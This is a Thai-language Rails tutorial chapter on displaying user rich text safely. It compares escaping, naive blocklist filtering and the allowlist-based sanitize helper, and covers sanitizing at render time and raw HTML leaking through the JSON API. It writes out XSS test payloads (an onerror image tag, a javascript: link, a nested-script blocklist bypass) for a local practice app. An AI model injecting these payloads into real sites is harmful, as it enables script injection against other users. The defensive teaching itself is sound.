🔁 ทวนก่อนเริ่ม — คำพวกนี้จะโผล่ในบทนี้
- XSS · escape (บท 125) — คนร้ายฝังโปรแกรมไว้ในข้อมูล ให้ไปรันในเบราว์เซอร์คนอื่น ·
<%= %>กันให้เองด้วยการใส่ซองใส (แปลง<เป็น<) raw·html_safe(บท 125) — สองคำที่แกะซองออก ปิดระบบกันภัย · ห้ามใช้กับของที่ผู้ใช้พิมพ์sanitize(บท 125) — ทางกลาง: เก็บแท็กที่อยู่ในรายชื่อที่อนุญาต ถอดที่เหลือทิ้ง · ลองใน console ด้วยhelper.sanitize(...)params.expect(บท 117) — บอกว่าช่องไหนในฟอร์มรับได้ ช่องที่ไม่อยู่ในรายชื่อถูกทิ้ง · จำไว้ เดี๋ยวจะเห็นว่าเป็นหลักการเดียวกันcurl(บท 125) — เปิดหน้าเว็บจากเทอร์มินัล เห็น HTML ที่เบราว์เซอร์ได้รับจริง
🧰 เวอร์ชันที่ใช้ตรวจ: Ruby 4.0.9 · Rails 8.1.4 · PostgreSQL 18 · Chrome (สั่งด้วยสคริปต์) — สไลด์และ repo ของอาจารย์เขียน Ruby 4.0.5–4.0.6 · Rails 8.1.3 เรื่องในบทนี้ไม่ต่างกัน
📍 โค้ดเริ่มจาก: ตอนจบ Day 3 (บท 135) บน branch my-day3 ที่ commit แล้ว (git status --short ว่าง) · หมวด 5 · บทความ 30 ชิ้น ·
บทนี้ทดลองแล้วคืนทิ้งตอนจบด้วย git restore — ยังไม่ติดตั้งอะไรเพิ่ม ของจริง (Action Text) เริ่มในบท 137
🖥 เปิดค้างไว้: docker compose up -d (ฐานข้อมูล) · bin/dev หนึ่งหน้าต่าง (เว็บที่ localhost:3000) · อีกหน้าต่างไว้พิมพ์คำสั่ง ·
ผลรันทุกกล่องมาจากเครื่องจริง · เวลา ms · วันเวลา · เลข 0x… · id ของบทความ ของคุณอาจไม่ตรงกับในบท
แผนที่ของ Part 1 — 3 บล็อก และ 3 ประโยคของวัน
Day 3 เราทำให้แอปเป็นหน้าเว็บ (หน้าตา · ขยับได้) · ชุดนี้ทำให้มันเป็นของที่เปิดให้คนใช้จริงได้ · เปิดสไลด์ดูจะเห็นป้าย "DAY 3" และคำว่า "Part 2" — เพราะอาจารย์วางชุดนี้ไว้เป็นครึ่งบ่ายของ Day 3 แล้วย้ายมาเรียนวันนี้ · ไม่ต้องสนใจป้าย เว็บนี้เรียกว่า Day 4 Part 1
| บท | บล็อก | ทำอะไร (ภาษาคน · ภาพร้านอาหาร) |
|---|---|---|
| 136–141 | D · Rich text + ไฟล์ | ให้คนเขียนบทความจัดตัวหนาได้ และแนบรูปปกได้ · ไฟล์ไปเก็บโกดังรับฝากของนอกร้าน ไม่ใช่ในครัว |
| 142–145 | E · งานเบื้องหลัง | ตั้งเวลาเผยแพร่บทความ · งานที่ลูกค้าไม่ต้องยืนรอ ทำเป็นใบงานหลังร้าน (ล้างจาน · ส่งของ) แทน |
| 146–148 | F · Caching | ทำหน้าแรกให้เร็ว · จานที่จัดเสร็จวางในตู้อุ่น ลูกค้าคนต่อไปหยิบได้เลย ไม่ต้องจัดใหม่ |
ลำดับนี้ตั้งใจ (สไลด์หน้า 2): ใส่เนื้อหาหนัก ๆ (รูป + rich text) ก่อน หน้าแรกจะได้ช้าจริง ๆ แล้วบล็อก F ค่อยแก้ปัญหาที่เราสร้างเองกับมือ ·
จบ Part 1 โฟลเดอร์ prompts/ จะมี 7 ไฟล์ (ตอนนี้มี 4: 00–03)
Day 3 บท 120 ให้จำ 3 ประโยคไว้ก่อน · ตอนนี้ถึงเวลาของข้อ ② ③ แล้ว:
| # | ประโยค | ภาษาคน | เจอเต็ม ๆ |
|---|---|---|---|
| ① | เว็บ interactive ไม่จำเป็นต้องมี state สองชุด | ทวน — ครัวถือสมุดสต็อกเล่มเดียว โต๊ะลูกค้าไม่ต้องจดเล่มที่สอง (Turbo ทั้ง Day 3) | Day 3 จบแล้ว |
| ② | exactly-once ไม่มีอยู่จริง ออกแบบให้ทำซ้ำได้แทน | ไม่มีใครรับประกันได้ว่างานจะถูกทำ "ครั้งเดียวพอดี" · พนักงานอาจส่งของซ้ำ → ทำงานให้ทำซ้ำแล้วผลเหมือนเดิม (เคยเห็นใน seeds บท 120 และ Go บท 36) | บล็อก E |
| ③ | อย่า invalidate cache ให้ key เปลี่ยนแทน | cache = สำเนาของผลที่ทำเสร็จแล้ว เก็บไว้หยิบซ้ำ · อย่าไล่ทิ้งสำเนาเก่า (invalidate = ประกาศว่าสำเนานี้ใช้ไม่ได้แล้ว) · ติดเลขรุ่นใหม่ แทน ของเก่าไม่มีใครหยิบเอง (เคยเห็นใน fingerprinting บท 127) | บล็อก F |
ของสองอย่างที่ผู้ใช้ใส่เข้ามา — แล้ว rich text คืออะไร
บล็อก D ว่าด้วยของสองอย่างที่ผู้ใช้เป็นคนใส่เข้ามา: ข้อความที่จัดรูปแบบได้ (บทนี้ + 137) กับไฟล์ (บท 138–140) · สไลด์หน้า 3 สรุปไว้ประโยคเดียว: ของที่ผู้ใช้ใส่เข้ามา เชื่อไม่ได้ทั้งคู่
rich text คือข้อความที่มีรูปแบบ — ตัวหนา ตัวเอียง ลิงก์ หัวข้อ รายการข้อ ๆ · นึกถึงช่องเขียนอีเมลใน Gmail หรือ Google Docs ที่มีปุ่ม B I ด้านบน · กดปุ่ม B แล้วพิมพ์ ข้อความก็หนาทันที
เบื้องหลังปุ่มพวกนั้นคือ HTML · กดตัวหนา = editor (ช่องพิมพ์แบบมีปุ่ม) แอบเขียน <strong>อร่อย</strong> ให้ ·
แปลว่าถ้าเว็บเรามี rich text เราต้องเก็บ HTML ที่มาจากผู้ใช้ แล้วเอาไปโชว์ให้คนอื่นดู
ร้านเรารับทำเค้กที่ลูกค้าเขียนข้อความบนหน้าเค้กเอง · ข้อความธรรมดา (ช่อง title เดิม) เราเขียนให้ตามที่สั่งทุกตัวอักษร · แต่ลูกค้าอยากได้มากกว่านั้น: "คำว่าอร่อยขอตัวใหญ่สีทอง" — นี่คือ rich text · ถ้าเรายอมให้ลูกค้าเอาของตกแต่งมาวางเองได้ทุกอย่าง วันหนึ่งจะมีคนเอาประทัดมาวาง แล้วเค้กชิ้นนั้นถูกเสิร์ฟให้ทุกโต๊ะ
ที่ไม่เหมือนกัน: คนกินเค้กยังมองเห็นประทัดแล้วหยิบออกได้ · เบราว์เซอร์ไม่ดูเลย มันทำตาม HTML ทุกคำสั่งทันที และหน้าเว็บหน้าเดียวถูกเปิดโดยคนนับร้อย — ของต้องห้ามหนึ่งชิ้นจึงโดนทุกคนที่เปิดหน้านั้น
เทียบกับ React (บท 125 เล่าไว้): {post.title} ใน JSX escape ให้เองเหมือน <%= %> ·
จะโชว์ HTML ของผู้ใช้ได้ต้องพิมพ์ dangerouslySetInnerHTML — โลก React ก็เจอคำถามเดียวกับบทนี้ทุกเว็บที่มี rich text
- rich text
- ข้อความที่มีรูปแบบ (ตัวหนา ลิงก์ หัวข้อ) · เก็บเป็น HTML หรือ Markdown (หัวข้อท้ายบท) · ตรงข้ามกับ plain text = ตัวหนังสือล้วน · ถาม senior ได้ว่า "ช่องไหนในระบบเราที่รับ rich text จากผู้ใช้บ้าง แล้วกรองที่ไหน"
- WYSIWYG editor
- ย่อจาก "What You See Is What You Get" = ช่องพิมพ์ที่เห็นผลทันทีแบบ Google Docs · มันสร้าง HTML ให้เบื้องหลัง · พิมพ์บอก AI ได้ว่า "the body field uses a WYSIWYG editor; treat its HTML as untrusted user input"
ลองแบบ escape ทั้งหมด — ผู้ใช้จะเห็นแท็กเป็นตัวหนังสือ
ทางที่ง่ายที่สุดคือ "ไม่ยอมรับ HTML เลย" — ซึ่งแอปเราทำอยู่แล้วเพราะ <%= %> escape ทุกอย่าง · ลองดูว่าผู้ใช้จะเห็นอะไร ·
เปิด bin/rails console แล้วสร้างบทความที่ชื่อมีตัวหนา และคำอธิบายมีทั้งของดีของร้ายปนกัน:
wongnok-blog-all-in-one(dev):001> post = Post.create!(title: "ข้าวซอยร้านนี้ <strong>อร่อย</strong>", description: 'น้ำแกง<strong>เข้มข้น</strong> ดูร้านอื่นที่<a href="/posts">หน้ารวม</a><img src="x" onerror="alert(1)">', category: Category.first)
Category Load (0.5ms) SELECT "categories".* FROM "categories" ORDER BY "categories"."id" ASC LIMIT 1 /*application='WongnokBlogAllInOne'*/
TRANSACTION (0.3ms) BEGIN /*application='WongnokBlogAllInOne'*/
Post Create (0.9ms) INSERT INTO "posts" ("title", "description", "category_id", "created_at", "updated_at") VALUES ('ข้าวซอยร้านนี้ <strong>อร่อย</strong>', 'น้ำแกง<strong>เข้มข้น</strong> ดูร้านอื่นที่<a href="/posts">หน้ารวม</a><img src="x" onerror="alert(1)">', 1, '2026-11-10 02:47:41.008443', '2026-11-10 02:47:41.008443') RETURNING "id" /*application='WongnokBlogAllInOne'*/
TRANSACTION (0.7ms) COMMIT /*application='WongnokBlogAllInOne'*/
=>
#<Post:0x000000012861fbb0
...
wongnok-blog-all-in-one(dev):002> post.id
=> 31
title: "…<strong>อร่อย</strong>"— ชื่อบทความที่ผู้ใช้อยากให้คำว่า อร่อย เป็นตัวหนาdescription: '…'— ใช้'(ฟันหนูเดี่ยว) ครอบ เพราะข้างในมี"เยอะ · ข้างในมี 3 อย่าง:<strong>ตัวหนา (ของดี) ·<a href="/posts">ลิงก์ (ของดี) ·<img src="x" onerror="alert(1)">(ของร้าย)<img src="x" onerror="…">— รูปที่ที่อยู่xไม่มีจริง → โหลดไม่ขึ้น → เบราว์เซอร์รันโค้ดในonerror("ถ้ารูปพังให้รันอันนี้") · ไม่มีคำว่า script สักตัว แต่รันโปรแกรมได้ · เราใช้แค่alert(1)(เด้งกล่องข้อความ) ซึ่งไม่ทำอะไรเสียหาย- บรรทัด
Category Load·TRANSACTION·Post Create— Rails รายงานคำสั่ง SQL ที่ส่งไปฐานข้อมูล (เหมือน Day 2) ·/*application=…*/ท้ายบรรทัดคือป้ายชื่อแอปที่ Rails แปะไว้ ไม่ต้องสนใจ VALUES ('ข้าวซอยร้านนี้ <strong>…— ฐานข้อมูลเก็บทุกตัวอักษรตามที่พิมพ์ ไม่มีใครกรอง (เหมือนบท 125)=>·#<Post:0x…·...— console โชว์บทความที่เพิ่งสร้าง · เพราะเราเก็บใส่ตัวแปร (post = …) console เลยย่อผลไว้แค่หัวแล้วต่อด้วย...(ค่าเริ่มต้นของ console ไม่ใช่ error) ·0x…= ที่อยู่ในหน่วยความจำ ไม่ต้องสนใจpost.id→31— ของคุณอาจเป็นเลขอื่น ใช้เลขของคุณแทน 31 ทุกที่ข้างล่าง
⚠️ ลองได้เฉพาะแอปในเครื่องตัวเองเท่านั้น — การฝังโค้ดลงเว็บของคนอื่น (แม้แค่ alert) คือการเจาะระบบ ผิดกฎหมาย
ดูว่าหน้าบทความส่ง HTML อะไรออกไป · | แปลว่า "ส่งผลของคำสั่งซ้ายไปให้คำสั่งขวา" → เอา HTML ทั้งหน้าไปให้ grep (บท 125) เลือกเฉพาะบรรทัดหัวข้อ (card-title text-3xl) กับบรรทัดคำอธิบาย (leading-relaxed) · \| ตรงกลางแปลว่า "หรือ" (เอาบรรทัดที่มีคำแรก หรือคำที่สอง):
$ curl -s localhost:3000/posts/31 | grep "card-title text-3xl\|leading-relaxed"
<h1 class="card-title text-3xl">ข้าวซอยร้านนี้ <strong>อร่อย</strong></h1>
</turbo-frame> <p class="leading-relaxed whitespace-pre-line">น้ำแกง<strong>เข้มข้น</strong> ดูร้านอื่นที่<a href="/posts">หน้ารวม</a><img src="x" onerror="alert(1)"></p>
- บรรทัดแรก —
<strong>=<strong>ที่ถูกใส่ซองใส · บนจอเห็นคำว่าข้าวซอยร้านนี้ <strong>อร่อย</strong>ทั้งแท็ก (ผมเปิดใน Chrome ดูแล้ว · แถบบอกทางด้านบน "บทความทั้งหมด › อาหารไทย › …" ก็เห็นแบบเดียวกัน) - บรรทัดสอง — ทุกแท็กถูกใส่ซองหมด รวมถึง
<img onerror>·"= รหัสของ"· ไม่มีอะไรรัน แต่ก็ไม่มีอะไรหนา </turbo-frame>หน้าบรรทัดสอง — เป็นแท็กปิดของกรอบแก้หัวข้อ (บท 131) ที่บังเอิญอยู่บรรทัดเดียวกัน ไม่ต้องสนใจ
ปลอดภัย 100% แต่ผู้ใช้เห็นแท็กเป็นตัวหนังสือ — นี่ไม่ใช่ rich text แล้ว ·
ส่วนอีกขั้วหนึ่ง ผมลองแก้บรรทัดคำอธิบายใน _post.html.erb เป็น raw post.description แล้วเปิดใน Chrome: ตัวหนาขึ้นจริง ลิงก์ขึ้นจริง และ alert ของ onerror ทำงาน (แล้วคืนไฟล์ทันที) ·
สไลด์หน้า 4 จึงบอกว่า คำถามไม่ใช่ "จะกันไหม" แต่เป็น "จะปล่อยอะไรผ่านบ้าง"
allowlist กับ blocklist — ผิดแบบไหนเจ็บกว่า
มีสองวิธีเขียน "กฎว่าอะไรผ่าน":
- blocklist (รายการของที่ห้าม) — บอกว่าอะไรห้ามผ่าน ที่เหลือผ่านหมด · เช่น "ห้าม
<script>" - allowlist (รายการของที่อนุญาต) — บอกว่าอะไรผ่านได้ ที่เหลือโดนถอดหมด · เช่น "ผ่านได้แค่
strongemap"
ลอง blocklist แบบที่คนส่วนใหญ่คิดได้ก่อน: "ลบคำว่า <script> ทิ้ง" ·
.gsub("<script>", "") คือ method ของข้อความใน Ruby แปลว่า "หาคำนี้ทุกที่ แล้วแทนด้วยข้อความว่าง" (= ลบทิ้ง)
wongnok-blog-all-in-one(dev):001> "<script>alert(1)</script>สวัสดี".gsub("<script>", "")
wongnok-blog-all-in-one(dev):002> '<img src="x" onerror="alert(1)">'.gsub("<script>", "")
wongnok-blog-all-in-one(dev):003> "<sc<script>ript>alert(1)</script>".gsub("<script>", "")
ตัวกรองนี้กันได้กี่บรรทัดจาก 3 บรรทัด? บรรทัด 3 ดูแปลก ๆ — ลองไล่ด้วยมือว่าลบ <script> ตรงกลางออกแล้วเหลืออะไร
ผลจริง:
wongnok-blog-all-in-one(dev):001> "<script>alert(1)</script>สวัสดี".gsub("<script>", "")
=> "alert(1)</script>สวัสดี"
wongnok-blog-all-in-one(dev):002> '<img src="x" onerror="alert(1)">'.gsub("<script>", "")
=> "<img src=\"x\" onerror=\"alert(1)\">"
wongnok-blog-all-in-one(dev):003> "<sc<script>ript>alert(1)</script>".gsub("<script>", "")
=> "<script>alert(1)</script>"
- บรรทัด 1 — กันได้ (เหลือ
</script>เปล่า ๆ ที่ไม่มีตัวเปิด ไม่ทำอะไร) - บรรทัด 2 — หลุดทั้งก้อน เพราะไม่มีคำว่า
<script>ให้ลบ · คนเขียนตัวกรองลืมนึกถึง onerror · (\"= วิธีที่ console โชว์"ในข้อความ) - บรรทัด 3 — ตัวกรองสร้าง
<script>ขึ้นมาเอง: ลบ<script>ตรงกลาง<sc|<script>|ript>ทิ้ง ชิ้นซ้ายขวาเลยมาต่อกันพอดี · ตัวอย่างนี้มาจากเอกสารความปลอดภัยของ Rails เอง
กันได้ 1 ใน 3 · และวิธีหลบแบบอื่นยังมีอีกมาก (onclick · onmouseover · <svg onload> …) — blocklist ต้องรู้ทุกท่าของคนร้าย ซึ่งเป็นไปไม่ได้
ทีนี้ส่งของร้ายชิ้นเดียวกันให้ sanitize (ใช้ allowlist) — ผลจริง:
wongnok-blog-all-in-one(dev):004> helper.sanitize('<img src="x" onerror="alert(1)">')
=> "<img src=\"x\">"
wongnok-blog-all-in-one(dev):005> helper.sanitize('<a href="javascript:alert(1)">กดเลย</a>')
=> "<a>กดเลย</a>"
- บรรทัด 004 —
imgอยู่ในรายการ จึงรอด ·srcอยู่ในรายการ รอด ·onerrorไม่อยู่ในรายการ ถูกตัด · sanitize ไม่ต้องรู้จัก onerror เลยก็กันได้ - บรรทัด 005 — ลิงก์แบบ
javascript:(กดแล้วรันโปรแกรมแทนที่จะไปหน้าอื่น) ·hrefถูกตัดทิ้ง เหลือ<a>ที่กดแล้วไม่ไปไหน · รายการของ sanitize ตรวจลึกถึงค่าข้างในด้วย
เทียบความผิดพลาดของสองแบบ (สไลด์หน้า 4) — นี่คือเหตุผลทั้งหมดที่โลกเลือก allowlist:
| ลืมใส่อะไรไปหนึ่งอย่าง | ใครเห็นก่อน | |
|---|---|---|
| allowlist | ลืมใส่ em → ตัวเอียงไม่ขึ้น (feature ขาด) | เรา — เห็นตั้งแต่ตอนลองใช้ แก้ได้ก่อนขึ้นจริง |
| blocklist | ลืมใส่ onerror → โค้ดของคนร้ายรันได้ (ระบบถูกเจาะ) | คนร้าย — เราไม่รู้ตัวจนกว่าจะโดน |
ร้านเค้กมีสองแบบ · ร้าน A ติดป้ายรายการของห้ามใส่: "ห้ามประทัด ห้ามไม้ขีด" — ลูกค้าเอาพลุมา ไม่อยู่ในป้าย พนักงานก็ใส่ให้ · ร้าน B ถือรายการตัวตกแต่งที่ร้านอนุญาต: "เม็ดน้ำตาล ช็อกโกแลตชิพ ตัวอักษรสีทอง" — ของที่ไม่อยู่ในรายการไม่ใส่ ไม่ว่ามันคืออะไร · ร้าน B ไม่ต้องรู้จักพลุก็กันพลุได้ ร้าน A ต้องรู้จักของอันตรายทุกชนิดในโลก
ที่ไม่เหมือนกัน: ของนอกรายการในร้านจริงถูกปัดทิ้งทั้งชิ้น · sanitize ถอดแค่แท็กแต่ตัวหนังสือข้างในยังอยู่ (บท 125: <script>alert(1)</script> เหลือ alert(1)) ·
และมันตรวจทีละ "ส่วนประกอบ" ด้วย — รับ img แต่แกะ onerror ที่ติดมาออก เหมือนรับช็อกโกแลตแต่แกะไส้ที่ไม่อนุญาตทิ้ง
เทียบของที่รู้แล้ว — หลักการเดียวกันเจอมาแล้วหลายรอบ (สไลด์หน้า 4):
params.expect (บท 117) = บอกว่าช่องไหนในฟอร์มรับได้ · <%= %> (บท 103/125) = escape ทุกอย่างแล้วค่อยยกเว้นเป็นจุด ·
วันนี้ sanitize = บอกว่าแท็กไหนผ่านได้ · บท 140 จะบอกว่าไฟล์ชนิดไหนรับได้ — ทั้งหมดคือ allowlist
- allowlist · blocklist (denylist)
- รายการของที่อนุญาต vs รายการของที่ห้าม · เอกสารเก่าใช้คำว่า whitelist/blacklist · คู่มือความปลอดภัยของ Rails เรียก permitted list / restricted list · ถาม senior ได้ว่า "ตรงนี้เรากรองด้วย allowlist หรือ blocklist ถ้าลืมของไปหนึ่งอย่างจะเกิดอะไร"
- event handler attribute (
onerror·onclick) - ช่องในแท็กที่บอกเบราว์เซอร์ว่า "เมื่อเกิดเหตุการณ์นี้ให้รันโค้ดนี้" · เป็นทางที่ XSS ใช้บ่อยเพราะไม่ต้องมีคำว่า script · พิมพ์บอก AI ได้ว่า "never filter HTML by removing <script>; use an allowlist sanitizer so on* attributes are dropped too"
ใส่ sanitize ลงใน view แล้วบีบรายการให้แคบ
ตอนนี้หน้าบทความโชว์คำอธิบายด้วย <%= post.description %> (escape ทั้งหมด) · เปิด app/views/posts/_post.html.erb หาบรรทัดนี้ (อยู่ในก้อน <% if full %> = ตอนโชว์บทความเต็ม):
<p class="leading-relaxed whitespace-pre-line"><%= post.description %></p>
แก้เป็น (เติมคำว่า sanitize คำเดียว · ใน view เรียกตรง ๆ ได้เลย ส่วนใน console ต้องมี helper. นำหน้าแบบเมื่อกี้):
<p class="leading-relaxed whitespace-pre-line"><%= sanitize post.description %></p>
บันทึกไฟล์แล้ว curl ใหม่ · sanitize แบบไม่ตั้งค่าอะไร ใช้รายการเริ่มต้นของ Rails ·
ตัวหนา ลิงก์ และ <img src="x" onerror="alert(1)"> — ชิ้นไหนรอด ชิ้นไหนหาย?
$ curl -s localhost:3000/posts/31 | grep "leading-relaxed"
</turbo-frame> <p class="leading-relaxed whitespace-pre-line">น้ำแกง<strong>เข้มข้น</strong> ดูร้านอื่นที่<a href="/posts">หน้ารวม</a><img src="x"></p>
<strong>·<a href="/posts">— แท็กจริง แล้ว (ไม่มี<) · บนจอ "เข้มข้น" เป็นตัวหนา<img src="x">— รูปยังอยู่ แต่onerrorหายไป · บนจอเห็นไอคอนรูปแตกเล็ก ๆ · Chrome ยืนยันว่า alert ไม่ทำงาน
ปลอดภัยแล้ว แต่รายการเริ่มต้นกว้างกว่าที่เราต้องการ — ใน Rails 8.1.4 มี 43 แท็ก (รวม img · h1–h6 · div …) · บทความรีวิวร้านอาหารไม่ต้องการรูปที่ผู้ใช้แปะ URL มาเอง
บีบรายการให้เหลือแค่ที่ใช้จริง (แบบสไลด์หน้า 6):
<p class="leading-relaxed whitespace-pre-line"><%= sanitize post.description, tags: %w[p a strong em], attributes: %w[href] %></p>
tags:— แท็กที่อนุญาต แทนรายการเริ่มต้นทั้งหมด ·%w[p a strong em]= วิธีเขียนรายการคำสั้น ๆ ของ Ruby เท่ากับ["p", "a", "strong", "em"]attributes:— ช่องในแท็กที่อนุญาต · ให้แค่href(ที่อยู่ของลิงก์) · อย่างอื่นเช่นclassstyleon…ถูกตัดหมด
บันทึก แล้ว curl อีกรอบ — ผลจริง:
$ curl -s localhost:3000/posts/31 | grep "leading-relaxed"
</turbo-frame> <p class="leading-relaxed whitespace-pre-line">น้ำแกง<strong>เข้มข้น</strong> ดูร้านอื่นที่<a href="/posts">หน้ารวม</a></p>
<img> หายไปทั้งแท็ก เพราะไม่อยู่ในรายการ 4 คำของเรา · ตัวหนากับลิงก์ยังอยู่ ·
นี่คือ rich text ที่ปลอดภัย: ผู้ใช้ได้รูปแบบที่ต้องการ และเราคุมได้ว่ารูปแบบไหนบ้าง
⚠️ อย่าเติมแท็กลงรายการเพราะ "ผู้ใช้ขอ" โดยไม่คิด · บท 125 ลองแล้วว่าใส่ script ลงรายการเอง sanitize ก็ปล่อย script ผ่านทั้งก้อน — มันเชื่อรายการของเราเสมอ
sanitize ทำงานตอนโชว์ ไม่ใช่ตอนบันทึก
หน้าเว็บสะอาดแล้ว · แต่ในฐานข้อมูลล่ะ? ถามใน console — ผลจริง:
wongnok-blog-all-in-one(dev):001> Post.find(31).description
Post Load (0.4ms) SELECT "posts".* FROM "posts" WHERE "posts"."id" = 31 LIMIT 1 /*application='WongnokBlogAllInOne'*/
=> "น้ำแกง<strong>เข้มข้น</strong> ดูร้านอื่นที่<a href=\"/posts\">หน้ารวม</a><img src=\"x\" onerror=\"alert(1)\">"
onerror ยังอยู่ครบ · sanitize ไม่ได้แตะฐานข้อมูลเลย มันกรองระหว่างทางออกไปหน้าเว็บทุกครั้งที่มีคนเปิดหน้า (สไลด์หน้า 6):
ทางอื่นที่ไม่ผ่าน view มีอยู่แล้วในแอปเรา — scaffold สร้างหน้า JSON ไว้ให้ตั้งแต่สร้างโปรเจกต์ (app/views/posts/show.json.jbuilder = แม่พิมพ์ของหน้า JSON บท 118 · เปิดด้วยการต่อ .json ท้าย URL) สำหรับแอปมือถือหรือโปรแกรมอื่นมาดึงข้อมูล · ผลจริง:
$ curl -s localhost:3000/posts/31.json
{"id":31,"title":"ข้าวซอยร้านนี้ \u003cstrong\u003eอร่อย\u003c/strong\u003e","description":"น้ำแกง\u003cstrong\u003eเข้มข้น\u003c/strong\u003e ดูร้านอื่นที่\u003ca href=\"/posts\"\u003eหน้ารวม\u003c/a\u003e\u003cimg src=\"x\" onerror=\"alert(1)\"\u003e","category_id":1,"created_at":"2026-11-10T09:47:41.008+07:00","updated_at":"2026-11-10T09:47:41.008+07:00","url":"http://localhost:3000/posts/31.json"}
\u003c·\u003e— รหัสของ<>ในรูปแบบ JSON · ไม่ใช่การกรอง โปรแกรมไหนอ่าน JSON ก็ได้<กลับมาเหมือนเดิมonerror=\"alert(1)\"— ส่งออกไปครบ · ถ้าแอปมือถือเอา description ไปวางเป็น HTML ผู้ใช้แอปโดน XSS
ลองให้ Ruby ทำตัวเป็นแอปมือถือ: อ่าน JSON แล้วพิมพ์ description ออกมา (ruby -rjson -e '…' = รันโค้ด Ruby บรรทัดเดียวที่โหลดตัวอ่าน JSON ไว้) — ผลจริง:
$ curl -s localhost:3000/posts/31.json | ruby -rjson -e 'puts JSON.parse(STDIN.read)["description"]'
น้ำแกง<strong>เข้มข้น</strong> ดูร้านอื่นที่<a href="/posts">หน้ารวม</a><img src="x" onerror="alert(1)">
STDIN.read— อ่านทุกอย่างที่|ส่งมา (JSON ทั้งก้อน) ·JSON.parse(…)— แปลงข้อความ JSON เป็น Hash ของ Ruby["description"]— หยิบช่อง description ออกมา ·puts— พิมพ์ออกจอ · ผล:\u003cกลับมาเป็น<และonerrorอยู่ครบ
ของสกปรกอยู่ใน DB จริง ๆ · จุดที่ปลอดภัยคือ "ตอน render ผ่าน Rails view" เท่านั้น (สไลด์หน้า 6) · ส่งออกทางอื่นเมื่อไหร่ ต้อง sanitize ที่ทางนั้นด้วย
แล้วทำไมไม่กรองตอนบันทึกให้จบ ๆ ไป? เพราะกฎว่าอะไรปลอดภัยเปลี่ยนได้ — มีวิธีหลบใหม่ ๆ ถูกค้นพบทุกปี ·
กรองตอนบันทึก = ของเก่าที่บันทึกไปแล้วตามกฎเก่าแก้ย้อนหลังไม่ได้ · กรองตอนโชว์ = แก้กฎ (หรือ Rails ออก patch = รุ่นแก้ช่องโหว่) แล้วของเก่าทุกชิ้นปลอดภัยขึ้นทันทีโดยไม่ต้องรัน migration ·
คุณเพิ่งเห็นกับตาเมื่อกี้: เปลี่ยน view จากรายการเริ่มต้นเป็น 4 แท็ก → <img> ของบทความ 31 หายจากหน้าเว็บทันที ทั้งที่ในฐานข้อมูลไม่ถูกแก้สักตัวอักษร
ร้านเก็บข้อความหน้าเค้กตามที่ลูกค้าส่งมาทุกตัวอักษรไว้ในตู้แฟ้ม · คนจัดจาน (view) ถือรายการตัวตกแต่งที่อนุญาต และตรวจทุกครั้งที่จัดจาน · วันไหนร้านออกกฎใหม่ "เลิกใช้สีผสมอาหารตัวนี้" ออเดอร์เก่าที่เก็บไว้ก็ได้จานตามกฎใหม่ทันที เพราะยังไม่เคยมีใครตัดสินแทนไว้ล่วงหน้า
ที่ไม่เหมือนกัน: ในร้านจริงของที่ถูกแกะทิ้งตอนจัดจานก็หายไปเลย · ในระบบของในตู้ไม่ถูกแตะ ·
ถ้าวันไหนมีคนตักจากตู้ไปส่งเองโดยไม่ผ่านคนจัดจาน (หน้า JSON · อีเมล · raw) ของต้องห้ามก็ยังอยู่ครบ
- sanitize on output (render time)
- เก็บของดิบ กรองตอนแสดงผลทุกครั้ง — แนวทางของ Rails · ข้อดี: กฎใหม่ใช้กับของเก่าทันที · ข้อเสีย: ทุกทางที่ส่งข้อมูลออกต้องกรองเอง · ถาม senior ได้ว่า "ข้อมูลช่องนี้ถูกส่งออกทางไหนบ้างนอกจากหน้าเว็บ แล้วแต่ละทางกรองไหม"
- API response · JSON
- ข้อมูลที่ส่งให้โปรแกรมอื่น (แอปมือถือ · frontend อีกตัว) แทนหน้าเว็บ · ไม่ผ่าน view → ไม่ผ่าน sanitize · พิมพ์บอก AI ได้ว่า "description is stored as raw user HTML; the JSON API must sanitize it or send plain text"
เก็บเป็น HTML หรือ Markdown — และปัญหาตอนค้นหา
ต้องตัดสินใจตั้งแต่วันแรก เพราะย้ายทีหลังเจ็บ (สไลด์หน้า 7) · Markdown คือวิธีเขียนรูปแบบด้วยสัญลักษณ์ธรรมดา เช่น **อร่อย** = ตัวหนา · [หน้ารวม](/posts) = ลิงก์ —
ไฟล์ prompts/*.md ของเราก็เป็น Markdown
| เก็บ HTML (Action Text ทำแบบนี้) | เก็บ Markdown | |
|---|---|---|
| ตอนโชว์ | โชว์ได้เลย แต่ต้อง sanitize ทุกครั้ง | ต้องแปลงเป็น HTML ทุกครั้ง (หรือ cache ไว้ — บล็อก F) |
| ช่องพิมพ์ | editor แบบเห็นผลทันทีทำง่าย | editor แบบเห็นผลทันทีทำยากกว่า |
| เอาไปใช้ที่อื่น | ยาก — แอปมือถือต้องจัดการ HTML | ง่าย — มือถือ · API · ไฟล์ อ่านรู้เรื่อง |
| ความปลอดภัย | ต้อง sanitize | ก็ยังต้อง sanitize ผลที่แปลงแล้ว (ดูท้ายตาราง) |
สไลด์บอกว่า Markdown "ไม่มีแท็กให้กลัว" — ระวัง · ผมลองตัวแปลง Markdown ที่ติดมากับ Ruby (RDoc) กับข้อความ ร้านนี้ **อร่อย** ตามด้วยบรรทัด <script>alert(1)</script> ·
ผลคือ <p>ร้านนี้ <strong>อร่อย</strong></p> ตามด้วย <script>alert(1)</script> ตัวจริงผ่านออกมา · อย่างน้อยตัวแปลงที่ลองนี้ยอมให้แทรก HTML ดิบ — เลือกตัวแปลงตัวไหนก็ต้องเช็คก่อนเสมอ
คำแนะนำของสไลด์: เนื้อหาถูกอ่านแค่บนเว็บเรา → เก็บ HTML (Action Text) ไปเลย เร็ว ไม่ต้องคิดมาก · มีแอปมือถือหรือส่งออกไปที่อื่นด้วย → Markdown คุ้มกว่า · (โลก Next.js มีทางที่สาม: MDX = Markdown ที่แปลงเป็นหน้าเว็บตอน build ทีเดียว เหมาะกับเนื้อหาที่ทีมเขียนเองและไม่ค่อยเปลี่ยน)
เก็บ HTML = เก็บเค้กที่แต่งเสร็จแล้วไว้ทั้งก้อน · เสิร์ฟได้ทันที แต่จะส่งให้สาขาอื่นที่ใช้จานคนละแบบ ต้องรื้อแต่งใหม่ · เก็บ Markdown = เก็บใบสั่งแต่งเค้กที่เขียนด้วยสัญลักษณ์ง่าย ๆ · ทุกครั้งที่เสิร์ฟต้องแต่งใหม่ แต่ส่งไปสาขาไหนก็แต่งตามใบได้
